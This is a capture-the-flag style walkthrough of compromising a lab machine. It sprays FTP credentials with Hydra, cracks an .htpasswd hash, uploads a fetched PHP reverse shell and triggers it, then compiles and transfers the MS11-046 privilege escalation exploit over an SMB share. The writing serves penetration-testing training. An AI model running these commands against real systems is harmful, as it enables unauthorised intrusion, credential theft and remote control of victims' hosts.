FTP Directory and File Enumeration

According to the nmap scan, anonymous login is allowed.

Server is zFTPServer v6.0 . I am able to list files and looks like I have read access to several directories. Enumerated any contents of readable directories, but it looks like none of the sub-directories or files are accessible.

However, looking through the accounts folder did give me an idea:

This looks like a potential list of zftp users, especially since I can already login as anonymous . So, I decide to create a username list with the other two usernames.



FTP Credential Spraying

echo 'Offsec' >> usernames.txt
echo 'admin' >> usernames.txt
Create a username list

# -I : ignore hydra.restore file
# -V : very verbose output
# -f : stop when a logon is found
# -L : username list
# -u : rotate around usernames, not passwords
# -P : passwords list

hydra -I -V -f -L usernames.txt -u -P /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt 192.168.179.46 ftp
Do some password spraying with Hydra
Well, well, well...

Let's try logging in, shall we?

Beautiful. Looks like we have read-only access to these three files. But, the .htpasswd file contains a hash for the offsec user. If we crack it, we will be able to access the web server and perhaps, the FTP server.

ftp> less .htpasswd
Press 'q' to quit 'less' mode

Let's take that hash and try and crack it.



Crack the Web User Hash

echo 'offsec:$apr1$oRfRsc/K$UpYpplHDlaemqseM39Ugg0' > offsec.txt
john --wordlist=/usr/share/seclists/Passwords/xato-net-10-million-passwords.txt offsec.txt

offsec:elite



Test File Upload

ftp> put scan.namp
Just testing a random file

This is good news! Looks like we can write to the web root! Looks like we should be able to put a PHP reverse shell and execute it with the credentials we have now.



TCP/242

Login with Cracked Credential





Exploit

Use Your Preferred PHP Reverse Shell

wget https://raw.githubusercontent.com/ivan-sincek/php-reverse-shell/master/src/reverse/php_reverse_shell.php -O 0xBEN_shell.php
nano 0xBEN_shell.php

Edit the variables to point it at your VPN IP address and chosen TCP port and save the changes.

$sh = new Shell('127.0.0.1', 9000);

Now, upload shell.php to the web root.

ftp> put 0xBEN_shell.php



Shell Time

Start a listener and open shell.php .

sudo rlwrap -lnvp 53
curl -u 'offsec:elite' -X GET http://192.168.179.46:242/0xBEN_shell.php

Privilege Escalation

When in Doubt, Google...

After much enumeration and several dead ends, I finally turned to Google and searched for local privilege escalation exploits for the operating system version, as windows-exploit-suggester.py was not returning anything. I believe the exploit suggester was failing cause there aren't any hotfixes installed to compare with the patch bulletin it downloads from Microsoft.

I Googled for windows server 2008 standard 6001 privilege escalation and the first thing that came up was MS11-046 . So, I checked Exploit DB for any hits.

searchsploit ms11-046

I decided to give this one a try:

Microsoft Windows (x86) - 'afd.sys' Local Privilege Escalation (MS11 | windows_x86/local/40564.c



Compile the Exploit

searchsploit -m 40564
i686-w64-mingw32-gcc 40564.c -o pwn.exe -lws2_32



Transfer the Exploit

# Start a SMB server in the current directory
smbserver.py -smb2support evil $PWD

# Run the copy command on the target
copy \\kali-vpn-ip\evil\pwn.exe .

# Run the exploit
.\pwn.exe
